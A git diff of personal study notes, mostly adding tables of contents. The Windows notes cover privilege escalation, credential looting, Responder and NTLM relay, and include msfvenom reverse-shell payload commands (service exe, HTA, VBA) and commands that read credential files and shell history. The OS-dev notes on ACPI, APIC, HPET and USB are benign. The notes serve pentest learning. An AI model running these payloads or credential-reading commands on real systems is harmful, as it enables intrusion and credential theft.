permissions](#321-executable-permissions) + - [3.2.2. Unquoted paths](#322-unquoted-paths) + - [3.2.3. Service permissions](#323-service-permissions) + - [3.3. AlwaysInstallElevated](#33-alwaysinstallelevated) + - [3.4. Users](#34-users) + - [3.4.1. SeBackup and SeRestore](#341-sebackup-and-serestore) + - [3.4.2. SeTakeOwnership](#342-setakeownership) + - [3.4.3. SeImpersonate and SeAssignPrimaryToken](#343-seimpersonate-and-seassignprimarytoken) + - [3.4.4. Unpatched software](#344-unpatched-software) +- [4. Credentials looting](#4-credentials-looting) + - [4.1. Files](#41-files) + - [4.1.1. IIS configuration](#411-iis-configuration) + - [4.1.2. Unattended Windows installations](#412-unattended-windows-installations) + - [4.2. Shell history](#42-shell-history) + - [4.3. Memory-saved credentials](#43-memory-saved-credentials) + - [4.4. SSH software](#44-ssh-software) + +## 1. Automatic tools + +- [WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) +- [PrivescCheck](https://github.com/itm4n/PrivescCheck) +- [WES-NG](https://github.com/bitsadmin/wesng) - run `systeminfo` and check for misconfiguration offline using `wes.py` script. +- Metasploit: `multi/recon/local_exploit_suggester` (when the shell is already established). + +## 2. AD Certificate Services Being within AD domain where the AD CS is installed, a domain user can request a X.509 certificate for different purposes (including AD authentication via PKINIT feature). AD CS has admin-defined **Certificate Templates** that specify available parameters and values of a requested certificate. Most important values: -* CA Name - which server is the Certified Authority for the cert. -* Template Name - the name of the cert template. -* Enrollment Rights - who can request (which group of users) such a cert. -* PKI Extended Key Usage - what's the purpose of the cert. +- CA Name - which server is the Certified Authority for the cert. +- Template Name - the name of the cert template. +- Enrollment Rights - who can request (which group of users) such a cert. +- PKI Extended Key Usage - what's the purpose of the cert. `Certify` is a tool to enumerate and abuse misconfiguration in AD CS (vulnerable certificate templates). @@ -44,9 +73,9 @@ openssl pkcs12 -in -keyex -CSP "Microsoft Enhanced Cryptographic Prov Most `impacket` tools are able to work with TGT authentication. -## Misconfigurations +## 3. Misconfigurations -### Scheduled tasks +### 3.1. Scheduled tasks If an attacker is able to modify the `Task To Run` file, he can run a code with `Run As User` privileges. ```powershell @@ -57,21 +86,21 @@ schtasks /query /tn /fo list /v icacl ``` -### Services +### 3.2. Services ```bash # Generate rev-shell service executable msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe-service -o my-service.exe ``` -#### Executable permissions +#### 3.2.1. Executable permissions The executable associated with a service might have insecure permissions. The attacker modifing or replacing the executable can gain the privileges of the service's account. ```powershell icacls # Show DACL of the executable ``` -#### Unquoted paths +#### 3.2.2. Unquoted paths If the service's executable points to an unquoted path with spaces, SCM tries to execute firt binary which is the first part of the unqoted path. This SCM feature is basically disgusting but it works. It allows an attacker to put malicious service binary in the "wrong" path and run it before a legit one will be executed. Example: @@ -82,7 +111,7 @@ Executed 1st: C:\MyPrograms\Disk.exe Executed 2nd: C:\MyPrograms\Disk Sorter.exe ``` -#### Service permissions +#### 3.2.3. Service permissions The service DACL might allow to reconfigure service settings. This allows an attacker to point a malicious executable to the service and even change the account which the executable is run with. To check a service DACL the [Accesschk](https://learn.microsoft.com/en-us/sysinternals/downloads/accesschk) tool might be necessary. @@ -94,7 +123,7 @@ accesschk64.exe -qlc # Check the service DACL sc.exe config ``` -## Credentials looting +### 3.4. Users +Every user has some privileges and some of them might be used to perform privilege escalation: -### Files +- [List of all possible privileges](https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants) +- [List of potentially dangerous privileges](https://github.com/gtworek/Priv2Admin) -#### IIS configuration +Check current privileges: `whoami /priv` + +#### 3.4.1. SeBackup and SeRestore +The `SeBackup` and `SeRestore` allow an user to read and write to **any file in the system**, ignoring any DACL. They are used to perform full backup of the system without requiring full admin privileges. Using these privileges an attacker is able to export SAM database and extract users hashes offline. More in: `post-exploitation`. + +#### 3.4.2. SeTakeOwnership +The `SeTakeOwnership` privilege allows a user to take ownership of any object on the system. An attacker can search for a service running as SYSTEM and take ownership of the service's executable. + +```powershell +# The ownership of the file +takeown /f + +# Grant full privileges to the file +icacls /grant :F + +# Now you can replace this file with an malicious executable +``` + +#### 3.4.3. SeImpersonate and SeAssignPrimaryToken +These privileges allow a process to act on behalf of another user. It usually consists of being able to spawn a process under the security context of another user. + +TBD... + +#### 3.4.4. Unpatched software + +```powershell +# List the installed software +wmic product get name,version,vendor +``` + +## 4. Credentials looting + +### 4.1. Files + +#### 4.1.1. IIS configuration Configuration files of the IIS web server might store some credentials. ```cmd @@ -118,7 +183,7 @@ C:\inetpub\wwwroot\web.config C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config ``` -#### Unattended Windows installations +#### 4.1.2. Unattended Windows installations If the OS is installed remotely (unattended installation) there is a chance that the installation config file is still somwhere in the file system. It might include credentials. ```cmd @@ -129,7 +194,7 @@ C:\Windows\system32\sysprep.inf C:\Windows\system32\sysprep\sysprep.xml ``` -### Shell history +### 4.2. Shell history ```powershell # To read history from cmd.exe @@ -141,7 +206,7 @@ type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Conso type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt ``` -### Memory-saved credentials +### 4.3. Memory-saved credentials ```powershell # Show saved credentials and accounts in a memory @@ -150,8 +215,8 @@ cmdkey /list > **NOTE**: Even if the credentials are not shown, you can use the `runas /savecred /user: cmd.exe` command in order to use them from a memory. -### SSH software -PuTTY is propably the most common SSH client for Windows in use. It often stores session parameters (e.g. proxy configuration) in the Windows registry. +### 4.4. SSH software +PuTTY is probably the most common SSH client for Windows in use. It often stores session parameters (e.g. proxy configuration) in the Windows registry. ```powershell # Show PuTTY configuration diff --git a/_notes/knowledge/windows/red-team-tools.md b/_notes/knowledge/windows/red-team-tools.md index 4903463..e4c81e8 100644 --- a/_notes/knowledge/windows/red-team-tools.md +++ b/_notes/knowledge/windows/red-team-tools.md @@ -2,7 +2,9 @@ title: Windows red-team tools --- -## Bloodhound & Sharphound +- [1. Bloodhound \& Sharphound](#1-bloodhound--sharphound) + +## 1. Bloodhound & Sharphound Bloodhound allowed attackers to visualise the AD environment in a graph format with interconnected nodes. It's a tool for visualization of AD organization structure in the form of a graph. Sharphound is the enumeration tool of Bloodhound. It is used to enumerate the AD information that can then be visually displayed in Bloodhound. Bloodhound is the actual GUI used to display the AD attack graphs. Three Sharphound collectors are available: @@ -10,6 +12,6 @@ Sharphound is the enumeration tool of Bloodhound. It is used to enumerate the AD - Sharphound.exe - Sharphound.ps1 - AzureHound.ps1 (for Azure enumeration) -When using these collector scripts, these files propably will be detected as malware and raise an alert to the blue team. +When using these collector scripts, these files most probably would be detected as malware and raise an alert to the blue team. After uploading the data grabbed with Sharphound to Bloodhound, it shows possible attack vectors exploiting different privileges of AD objects. diff --git a/_notes/knowledge/windows/resource-sharing.md b/_notes/knowledge/windows/resource-sharing.md index dfce3b7..0dc4746 100644 --- a/_notes/knowledge/windows/resource-sharing.md +++ b/_notes/knowledge/windows/resource-sharing.md @@ -2,30 +2,37 @@ title: Windows resource sharing services --- -## SMB - Server Message Block (139, 445) +- [1. SMB - Server Message Block (139, 445)](#1-smb---server-message-block-139-445) + - [1.1. Security](#11-security) + - [1.2. DNS poisoning attack](#12-dns-poisoning-attack) + - [1.3. NTLM relay attack](#13-ntlm-relay-attack) +- [2. NFS - Network File System](#2-nfs---network-file-system) +- [3. FTP - File Transfer Protocol](#3-ftp---file-transfer-protocol) + +## 1. SMB - Server Message Block (139, 445) SMB is a client-server protocol that regulates access to files and entire directories and other network resources. An SMB server can provide arbitrary parts of its local file system as shares. Access rights are defined by Access Control Lists (ACL). SMB can be used only within LOCAL networks, it's not routable. -### Security +### 1.1. Security SMB most often uses NTLM to authentication. NTLM challenge might be sniffed and cracked offline. Cracking NTLM challenge is slower than cracking the hash directly, but it's still possible. SMB is very widely used by services in LAN, so there are usually a lot of these challanges flying on the network. -### DNS poisoning attack +### 1.2. DNS poisoning attack `Responder` is used to poison the responses during NTLM authentication, tricking the victim into talking to the attacker instead of legit servers. Responder will attempt to poison any of the following requests: - Link-Local Multicast Name Resolution (LLMNR) - NetBIOS Name Server (NBT-NS) - Web Proxy Auto-Discovery (WPAD) These protocols are used to perform local DNS resolution for all hosts in the LAN. They relay on requests broadcasted on the LAN, so the attacker can receive these requests. Responder actively listens to the requests and sends poisoned responses lying that attacker is a searched hostname. Responder basically attempts to win the race for hostname resolution. Tricked server attempts to perform NTLM auth with the attacker. -### NTLM relay attack +### 1.3. NTLM relay attack In some cases attacker can try to relay the challenge intead of capturing it directly. It's harder and not usually popular for initial foothold. - SMB singing should be disabled or enabled but not enforced - attacker is going to make some changes in the request passed along. - Associated account needs the permissions to access these resources - ideally attacker hopes for an admin account. - A little bit of guessing which account has which permissions etc. It's more useful for lateral movement and privilege escalation. -## NFS - Network File System +## 2. NFS - Network File System By NFS protocol, you can transfer files between computers running Windows and other non-Windows OS. NFS in Windows Server includes Server for NFS and Client for NFS. NFS is automatic protocol (FTP is manual). Once mounted, files appear as if they are local files. Blocks of the files are transferred in the background; no need to copy the entire files to read them. NFS works best in fast, stable, low loss LOCAL networks. -## FTP - File Transfer Protocol +## 3. FTP - File Transfer Protocol FTP is good for far-away connections, when you transfer between two different OSes. It sends only entire files. diff --git a/_notes/knowledge/windows/resources.md b/_notes/knowledge/windows/resources.md index 6fe6e06..8cf438e 100644 --- a/_notes/knowledge/windows/resources.md +++ b/_notes/knowledge/windows/resources.md @@ -7,3 +7,5 @@ title: Windows red-team, pentest useful resources * [haax.fr - offensive security cheatsheets](https://cheatsheet.haax.fr/windows-systems/) - interesting, well-grouped offensive security notes. * [infosecn1nja - Red-Teaming Toolkit](https://github.com/infosecn1nja/Red-Teaming-Toolkit) - tons of red-team tools. + +* [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) - privesc, persistence, mimikatz etc. diff --git a/_notes/knowledge/windows/services.md b/_notes/knowledge/windows/services.md index 49cf3cb..0df20f0 100644 --- a/_notes/knowledge/windows/services.md +++ b/_notes/knowledge/windows/services.md @@ -2,7 +2,16 @@ title: Windows services notes --- -## Services and SCM +- [1. Services and SCM](#1-services-and-scm) +- [2. SNMP (Simple Network Management Protocol)](#2-snmp-simple-network-management-protocol) +- [3. IIS - Windows web server](#3-iis---windows-web-server) +- [4. MSRPC - Microsoft Remote Procedure Call (135, 593)](#4-msrpc---microsoft-remote-procedure-call-135-593) +- [5. Endpoint Mapper (EPM)](#5-endpoint-mapper-epm) +- [6. NetBIOS Name Service (139)](#6-netbios-name-service-139) + - [6.1. Security](#61-security) + - [6.2. NetBIOS name vs domain Name vs DNS name vs hostname](#62-netbios-name-vs-domain-name-vs-dns-name-vs-hostname) + +## 1. Services and SCM _Services_ are _daemons_ in the Linux world. They are managed by the **Service Control Manager** (SCM). The SCM is a special system process in charge of managing the state of services, checking their current state and providing a way to configure and enumerate them. It's started at system boot. The SCM is an RCP server, so the services can be controlled from remote machines. SCM executable is located in: `%SystemRoot%\System32\services.exe`. @@ -17,27 +26,27 @@ sc.exe stop # Stop service sc.exe start # Start service ``` -## SNMP (Simple Network Management Protocol) +## 2. SNMP (Simple Network Management Protocol) SNMP is widely used in network management for network monitoring. It exposes management data in the form of variables on the managed systems organized in a management information base (MIB). These data can then be remotely queried and, in some circumstances, manipulated. -## IIS - Windows web server +## 3. IIS - Windows web server IIS stands for Internet Information Services. It's just web server for Windows.It's included in most Windows versions, except home editions. Usually there is a new IIS version for every new OS. -## MSRPC - Microsoft Remote Procedure Call (135, 593) +## 4. MSRPC - Microsoft Remote Procedure Call (135, 593) MSRPC is protocol that uses the client-server model in order to allow one program to request service from a program on another host. The RPC endpoint can be accessed through TCP and UDP port 135, via SMB with a null or authenticated session (TCP 139 and 445), and as a web service listening on TCP port 593. -## Endpoint Mapper (EPM) +## 5. Endpoint Mapper (EPM) TBD -## NetBIOS Name Service (139) +## 6. NetBIOS Name Service (139) It's name service for name registration and resolution. Every machine has a name inside the NetBios network. -### Security +### 6.1. Security By enumerating a NetBIOS service you can obtain names the server is using and the its MAC address. -### NetBIOS name vs domain Name vs DNS name vs hostname +### 6.2. NetBIOS name vs domain Name vs DNS name vs hostname Every computer on the internet has DNS name (network hostname). Every computer on the internet running Windows OS has NetBIOS name as well. It's the same as local computer name. Computer running Windows in an Active Directory domain has both: diff --git a/_notes/knowledge/windows/user-init-access.md b/_notes/knowledge/windows/user-init-access.md index 0086c17..a31e1ea 100644 --- a/_notes/knowledge/windows/user-init-access.md +++ b/_notes/knowledge/windows/user-init-access.md @@ -2,7 +2,12 @@ title: Windows machine (user-OS) initial access --- -## Windows Scripting Host (WSH) +- [1. Windows Scripting Host (WSH)](#1-windows-scripting-host-wsh) +- [2. HTML Application (HTA)](#2-html-application-hta) +- [3. Visual Basic for Application (VBA)](#3-visual-basic-for-application-vba) +- [4. Powershell script](#4-powershell-script) + +## 1. Windows Scripting Host (WSH) WSH is language-independent technology to run scripts written in Active Scripting languages. It's old and available on every Windows machine by default. Users can install different scripting engines to support different scripting languages (e.g. PerlScript, RubyScript). @@ -18,7 +23,7 @@ cscript wscript ``` -## HTML Application (HTA) +## 2. HTML Application (HTA) HTA is a Windows program whose source code consists of HTML, CSS and one or more scripting languages supported by WSH - JScript and VBScript. Actually it works like a Windows program with GUI written in HTML and logic written in scripting language. Because it's executed locally, it's often used as a GUI for administration tools. The usual HTA file extension is `.hta`. @@ -31,7 +36,7 @@ HTAs files often can be executed immediately after download. Because of that the msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f hta-psh -o rev-shell.hta ``` -## Visual Basic for Application (VBA) +## 3. Visual Basic for Application (VBA) VBA is almost the same as Visual Basic but its main purpose is to automate tasks in Microsoft Office applications (Word, Excel, PowerPoint, Outlook etc.). It cannot work independently. Macros are written in VBA. They can be combined with HTA and WSH methods to bypass more detection softwares. @@ -40,7 +45,7 @@ VBA is almost the same as Visual Basic but its main purpose is to automate tasks msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f vba ``` -## Powershell script +## 4. Powershell script PS execution policy is by default set to `Restriced`. It means that user can execute single commands but not to run any PS script (`.ps1` file). diff --git a/_notes/knowledge/windows/windows.md b/_notes/knowledge/windows/windows.md index 97cac52..9f69c03 100644 --- a/_notes/knowledge/windows/windows.md +++ b/_notes/knowledge/windows/windows.md @@ -1,13 +1,26 @@ --- title: Windows environment notes --- -## Scheduled tasks + +- [1. Scheduled tasks](#1-scheduled-tasks) +- [2. Accounts](#2-accounts) + - [2.1. SYSTEM](#21-system) + - [2.2. Administrator](#22-administrator) + - [2.3. Guest](#23-guest) +- [3. Account's privileges](#3-accounts-privileges) +- [4. Files and folders](#4-files-and-folders) +- [5. System environmental variables](#5-system-environmental-variables) + - [5.1. Standard variables](#51-standard-variables) +- [6. Path formats](#6-path-formats) + - [6.1. Universal Naming Convention (UNC)](#61-universal-naming-convention-unc) + +## 1. Scheduled tasks _Scheduled tasks_ are _cron jobs_ in the Linux world. -## Accounts +## 2. Accounts To show GUI with all users and groups run: `lusrmgr.msc` -### SYSTEM +### 2.1. SYSTEM SYSTEM is internal account which doesn't show up in User Manager. - the highest privilege level in the Windows user model. @@ -16,7 +29,7 @@ SYSTEM is internal account which doesn't show up in User Manager. If the computer is joined to a domain, processes running as SYSTEM can access domain servers in the context of the computer's domain account without credentials. -### Administrator +### 2.2. Administrator Every computer has Administrator account. It's the first account that is created during the Windows installation. Processes running as Administrator have no access to domain computers unless the credentials are explicitly provided. Administrator has following privileges: @@ -26,10 +39,10 @@ Administrator has following privileges: - can't be deleted or locked out, but it can be renamed or disabled. - it's member of the Adminitrators group and it can't be removed from the Administrators group but it can be renamed. -### Guest +### 2.3. Guest TBD -## Account's privileges +## 3. Account's privileges Every account (user) sometimes has to do something with OS. Here is [the list of possible privileges](https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants). ```powershell @@ -43,7 +56,7 @@ Any user with administrative privileges will be part of the _Administrators_ gro - Local Service - the account used to run Windows services with minimum privileges sufficient to work properly. It uses anonymous connections over the network. - Network Service - same as Local Service but it uses computer's credentials to authenticate in the network. -## Files and folders +## 4. Files and folders On Windows file extensions are meaningful. - .bat - Batch script. Equivalent of bash scripts for Linux. @@ -52,18 +65,18 @@ On Windows file extensions are meaningful. [Permission tables (special and basic) for files and folders](https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/bb727008(v=technet.10)?redirectedfrom=MSDN) -## System environmental variables +## 5. System environmental variables Environment variables store information about the operating system environment. This information includes details such as the operating system path, the number of processors used by the operating system, and the location of temporary folders. -### Standard variables +### 5.1. Standard variables - %TEMP% / %TMP% -> C:\Windows\TEMP - %windir% -> C:\Windows - %USERNAME% -> Current username -## Path formats +## 6. Path formats -### Universal Naming Convention (UNC) +### 6.1. Universal Naming Convention (UNC) UNC paths are used to access network resources. The server name can be a NetBIOS machine name, IP or FQDN address. ```powershell diff --git a/_notes/os-dev/acpi.md b/_notes/os-dev/acpi.md index d17b7e9..77777b4 100644 --- a/_notes/os-dev/acpi.md +++ b/_notes/os-dev/acpi.md @@ -2,7 +2,11 @@ title: ACPI - Advanced Configuration and Power Interface --- -## RSDP - Root System Description Pointer +- [1. RSDP - Root System Description Pointer](#1-rsdp---root-system-description-pointer) +- [2. SDT - System Description Tables](#2-sdt---system-description-tables) + - [2.1. MADT - Multiple APIC Description Table](#21-madt---multiple-apic-description-table) + +## 1. RSDP - Root System Description Pointer > **More**: ACPI Specification, chapter 5.2.5. RSDP is the first data structure that OS developer must touch to do anything more with ACPI. @@ -22,7 +26,7 @@ The RSDP structure can be aditionally verified with `signature` (should be "RSD There are two versions of ACPI: 1.0 and 2.0. The latter is backward compatible with version 1.0. It does not appear to have any significant new features. It is probably not even supported by Qemu and everything works. -## SDT - System Description Tables +## 2. SDT - System Description Tables > **More**: ACPI Specification, chapter 5.1 and 5.2. Architecture of SDTs: @@ -75,7 +79,7 @@ Header header; // SDT header u32 sdt_tables[]; // 32-bit pointers to other tables ``` -### MADT - Multiple APIC Description Table +### 2.1. MADT - Multiple APIC Description Table > **More**: ACPI Specification, chapter 5.2.12. It's one of the most important SDTs. It provides information necessary for operation on systems with APIC (Advanced Programmable Interrupt Controller). diff --git a/_notes/os-dev/apic.md b/_notes/os-dev/apic.md index 4e50ff1..46b13d4 100644 --- a/_notes/os-dev/apic.md +++ b/_notes/os-dev/apic.md @@ -2,25 +2,38 @@ title: Advanced Programmable Interrupt Controller --- -## Terminology - -* **IRQ** - _interrupt request_, an request sent to the CPU in order to stop execution and do something else (execute interrupt handler). -* **Interrupt** - the event that happens on the IRQ. -* **Interrupt handler** - an piece of code which is executed on specific IRQ. -* **Interrupt vector table** - a list of interrupt handlers; it's a technical abstract term; the IVT has different implementations on specific CPUs. -* **Interrupt vector** - an entry in the IVT. -* **Interrupt Descriptor Table** - Intel's x86 implementation of IVT. -* **Global System Interrupt (GSI)** - another name of the IRQ but in the context of I/O APIC. - -## What is it? +- [1. Terminology](#1-terminology) +- [2. What is it?](#2-what-is-it) +- [3. Architecture](#3-architecture) + - [3.1. Local APIC](#31-local-apic) + - [3.1.1. Local APIC ID](#311-local-apic-id) + - [3.1.2. Spurious interrupt vector](#312-spurious-interrupt-vector) + - [3.1.3. How does fixed interrupt handling work?](#313-how-does-fixed-interrupt-handling-work) + - [3.1.4. Return from interrupt](#314-return-from-interrupt) + - [3.2. I/O APIC](#32-io-apic) + - [3.2.1. Configuration](#321-configuration) + - [3.2.2. How does it work?](#322-how-does-it-work) +- [4. Additional resources](#4-additional-resources) + +## 1. Terminology + +- **IRQ** - _interrupt request_, an request sent to the CPU in order to stop execution and do something else (execute interrupt handler). +- **Interrupt** - the event that happens on the IRQ. +- **Interrupt handler** - an piece of code which is executed on specific IRQ. +- **Interrupt vector table** - a list of interrupt handlers; it's a technical abstract term; the IVT has different implementations on specific CPUs. +- **Interrupt vector** - an entry in the IVT. +- **Interrupt Descriptor Table** - Intel's x86 implementation of IVT. +- **Global System Interrupt (GSI)** - another name of the IRQ but in the context of I/O APIC. + +## 2. What is it? APIC is a modern replacement for the 8259 Programmable Interrupt Controller (PIC). It is an Intel concept. > **IMPORTANT**: CPU Interrupt Flag (EFLAGS.IF) must be enabled. -## Architecture +## 3. Architecture APIC architecture is split into two hardware devices. Information about both parts (installed version, abilities, presence, MMIO addresses) can be found using ACPI Standard Description Table MADT (Multiple APIC Description Table). -### Local APIC +### 3.1. Local APIC > **MORE**: LAPIC is part of the CPU so it's specified in Intel's Manual, volume 3, chapter 10. APIC. LAPIC is usually integrated into the CPU itself. Every CPU has its own LAPIC. It manages all external IRQs for specific CPU in an SMP system. LAPIC is also able to accept and generate inter-processor interrupts (IPI) used to communication between CPUs. LAPIC can process up to 224 interrupt vectors - first 32 entries are reserved for standard x86 exceptions. @@ -29,36 +42,36 @@ Local APIC receives interrupts from the processor’s interrupt pins, internal s Local APIC handles following interrupts: -* IRQs from the I/O APIC -* IPIs (Inter-Processor Interrupts) from other CPUs. They are used in SMP systems. -* Local (self-generated) interrupts (e.g. APIC timer, thermal sensors, etc.). The role of LAPIC for local interrupts is analogous to the role of I/O APIC for external interrupts. It uses the LVT (Local Vector Table) as a redirection table for local interrupts. +- IRQs from the I/O APIC +- IPIs (Inter-Processor Interrupts) from other CPUs. They are used in SMP systems. +- Local (self-generated) interrupts (e.g. APIC timer, thermal sensors, etc.). The role of LAPIC for local interrupts is analogous to the role of I/O APIC for external interrupts. It uses the LVT (Local Vector Table) as a redirection table for local interrupts. LAPIC has one set of registers. See all of them in "Table 10-1" in Intel's Manual, volume 3. It is configured by memory-mapped registers (default starting address: `0xFEE00000`). -#### Local APIC ID +#### 3.1.1. Local APIC ID Each APIC has APIC ID assigned. It can be used as a CPU ID. The APIC ID is unique for all CPUs installed in the system. It can be read from APIC ID register (offset: 0x20). On xAPIC up to 256 CPUs are supported. -#### Spurious interrupt vector +#### 3.1.2. Spurious interrupt vector TBD -#### How does fixed interrupt handling work? +#### 3.1.3. How does fixed interrupt handling work? > **MORE**: Intel's Manual, volume 3, chapter 10.8.4 Interrupt Acceptance for Fixed Interrupts. The LAPIC IRR register (256 bits) contains the active IRQ that have been accepted, but not yet dispatched to the processor for processing. When the LAPIC accepts an IRQ, it sets the bit in the IRR that corresponds the vector of the accepted IRQ. When the processor core is ready to handle the next IRQ, the LAPIC clears the corresponding IRR bit that is set and sets the corresponding ISR bit. IRR and ISR registers are some kind of bitmaps. Each bit is an interrupt vector. When the Interrupt Service Routine issues a write to the EOI register the local APIC responds by clearing corresponding the ISR bit. -#### Return from interrupt +#### 3.1.4. Return from interrupt > **MORE**: Intel's Manual, volume 3, chapter 10.8.5 Signaling Interrupt Servicing Completion To signal interrupt handling completion to the LAPIC, the interrupt handler must include a write to the _end-of-interrupt_ (EOI) register. This write must occur at the end of the handler function. This action indicates that the handling of the current interrupt is complete and the LAPIC can issue the next interrupt from the ISR. -### I/O APIC +### 3.2. I/O APIC > **MORE**: I/O APIC is very platform related and there is no latest official documentation of this piece of hardware. IOAPIC is part of the chipset. It contains a redirection table, which is used to route the IRQs from peripherals (external hardware) to a specific LAPIC. It allows to translate an hardware IRQ number to specific interrupt vector (the mapping can be controlled by a software). Most often IOAPIC supports 24 separately programmable interrupt entries. > **NOTE**: Formally (according to the Intel's Manual), the signal that is sent between IOAPIC and LAPIC is called an _Interrupt Message_. -#### Configuration +#### 3.2.1. Configuration IOAPIC is configured by memory-mapped registers (starting address: `0xFEC00000`). Due to space saving IOAPIC registers are accessed by writing selected register `offset` into _IOREGSEL_ register and then writing/reading register's data in _IOWIN_ register (where the selected register is placed). There is one 64-bit register for each redirection entry. Data _IOWIN_ register is 32-bit long, it means that the 64-bit entry's register must be written in two rounds. Lower half must be written first. Writing higher half (offset + 1) actually applies the changes. @@ -79,7 +92,7 @@ IOAPIC registers schema: > **REDIRECTION ENTRY**: The schema of a redirection entry register can be found in I/O APIC Specification, chapter 3.2.4 IOREDTBL[23:0]. -#### How does it work? +#### 3.2.2. How does it work? > **NOTE**: The number of the sent IRQ does not have to correspond to the entry number to which it will go (see: I/O APIC Specification, chapter 2.4 Interrupt Signals). When the IOAPIC receives an **external interrupt** from a external device, it forwards the interrupt to the LAPIC. When an LAPIC is able to accept the interrupt, the LAPIC will signal an interrupt to the CPU and the CPU will interrupt through the corresponding interrupt vector that was programmed into the IOAPIC. @@ -98,11 +111,11 @@ IRQ 2 --------|entry 2 -> vector 97 | | vector X ``` -## Additional resources +## 4. Additional resources -* [Dreamos82: Os-dev notes - APIC](https://dreamos82.github.io/Osdev-Notes/98_Drivers/APIC.html) -* [Kestrel Williams-King: OSDev notes 3: Hardware & Interrupts](https://web.archive.org/web/20220725202237/https://ethv.net/workshops/osdev/notes/notes-3.html) -* [Wesleyac: How to set up the APIC to get keyboard interrupts](https://blog.wesleyac.com/posts/ioapic-interrupts) -* [Kostr: External Interrupts in the x86 system. Part 1. Interrupt controller evolution](https://habr.com/en/articles/446312/) -* [Kostr: External Interrupts in the x86 system. Part 2. Linux kernel boot options](https://habr.com/en/articles/501660/) -* [Kostr: External Interrupts in the x86 system. Part 3. Interrupt routing setup in a chipset, with the example of coreboot](https://habr.com/en/articles/501912/) +- [Dreamos82: Os-dev notes - APIC](https://dreamos82.github.io/Osdev-Notes/98_Drivers/APIC.html) +- [Kestrel Williams-King: OSDev notes 3: Hardware & Interrupts](https://web.archive.org/web/20220725202237/https://ethv.net/workshops/osdev/notes/notes-3.html) +- [Wesleyac: How to set up the APIC to get keyboard interrupts](https://blog.wesleyac.com/posts/ioapic-interrupts) +- [Kostr: External Interrupts in the x86 system. Part 1. Interrupt controller evolution](https://habr.com/en/articles/446312/) +- [Kostr: External Interrupts in the x86 system. Part 2. Linux kernel boot options](https://habr.com/en/articles/501660/) +- [Kostr: External Interrupts in the x86 system. Part 3. Interrupt routing setup in a chipset, with the example of coreboot](https://habr.com/en/articles/501912/) diff --git a/_notes/os-dev/hpet.md b/_notes/os-dev/hpet.md index 0cb9645..d7fc104 100644 --- a/_notes/os-dev/hpet.md +++ b/_notes/os-dev/hpet.md @@ -2,24 +2,34 @@ title: High Precision Even Timer --- -## What is HPET? +- [1. What is HPET?](#1-what-is-hpet) +- [2. Architecture](#2-architecture) + - [2.1. Timer](#21-timer) + - [2.1.1. Counter](#211-counter) + - [2.1.2. Comparators](#212-comparators) +- [3. MMIO configuration](#3-mmio-configuration) +- [4. Interrupts](#4-interrupts) + - [4.1. Non-Periodic mode](#41-non-periodic-mode) + - [4.2. Periodic mode](#42-periodic-mode) + +## 1. What is HPET? HPET is a hardware timer developed by Intel and Microsoft, incorporated in chipsets since 2005. The main reason for its introduction was to replace older, less efficient and accurate timers such as PIT (Programmable Interval Timer). -## Architecture +## 2. Architecture > **More**: HPET Sepcification -### Timer +### 2.1. Timer HPET device must implement at least one timer - it is the highest programmable unit of the HPET device. The timer consists of a counter and set of comparators. Each individual timer can generate an interrupt when the value in one of its comparator registers equals the value of the counter. Each timer can have different clocking attributes. The timer is enabled (counts up and generates interrupts) by setting enable bit in _General Configuration_ register. -#### Counter +#### 2.1.1. Counter The timer has **one counter** (called: _main counter_) only. The counter is a 64-bit (or 32-bit, check _General Capabilities & ID_ reg.) register incremented by hardware every specified number of nanoseconds. The counter increases monotonically. When software does two consecutive reads of the counter, the second read will never return a value that is less than the first read. Software should write to that register only when the timer is halted (not enabled). -#### Comparators +#### 2.1.2. Comparators > **NOTE**: The HPET Specification is confusing. Sometimes _counter_ + _comparator_ is called a _Timer_, and sometimes (most often) comparators are called _timers_. I made a distinction between _timer_ and its _comparators_. Every timer has set of 3 to 32 comparators. The exact number of available comparators can be read from _General Capabilities & ID_ register. -## MMIO configuration +## 3. MMIO configuration HPET is programmed using MMIO. The base address of HPET can be found using ACPI Standard Description Table "HPET". Single timer MMIO address space is 1024 bytes. Registers are aligned on 64-bit boundaries. The layout of the MMIO registers is the same for each timer: @@ -45,11 +55,11 @@ The layout of the MMIO registers is the same for each timer: |... | ``` -## Interrupts +## 4. Interrupts HPET usually supports many legacy interrupt routings but IO/APIC is required to be supported. Other ones (FSB, PIC) are optional. Mode and configuration related to the fired interrupts is set for each comparator separately (_Config and Capabilities_ register). It's the most complicated part of the whole HPET management. -### Non-Periodic mode +### 4.1. Non-Periodic mode Every timer is required to suport the non-periodic mode of operation. This mode can be thought as one-shot timer. Counter is up and comparator is set once. During the run-time, the value in the comparator is not changed by the hardware. Software can change the value. If counter is equal to comparator, an interrupt is generated. To do it properly main counter has to be disabled during the comparator configuration - I don't see any other way to do this correctly. -### Periodic mode +### 4.2. Periodic mode The software writes a value in the timer's comparator. If counter is equal to comparator, an interrupt is generated. The hardware will then automatically increase the value in the comparator by the last value written to that register. It generates an interrupt on each hit. diff --git a/_notes/os-dev/usb.md b/_notes/os-dev/usb.md new file mode 100644 index 0000000..0eb6378 --- /dev/null +++ b/_notes/os-dev/usb.md @@ -0,0 +1,73 @@ +--- +title: USB - Universal Serial Bus +--- + +- [1. Overview](#1-overview) +- [2. Descriptors](#2-descriptors) + - [2.1. Device Descriptor](#21-device-descriptor) + - [2.2. Configuration Descriptor](#22-configuration-descriptor) + - [2.3. Interface Descriptor](#23-interface-descriptor) + - [2.4. Endpoint Descriptor](#24-endpoint-descriptor) + - [2.4.1. Endpoint 0](#241-endpoint-0) + +## 1. Overview +USB is a huge protocol. It's basicaly a whole stack of technology. A lot of the complexity lies in the hardware, hidden from the software point of view. + +## 2. Descriptors +Descriptors are returned by the USB device. It's the standarized way of providing technical information what the device can do. Fields of a descriptor are written in the 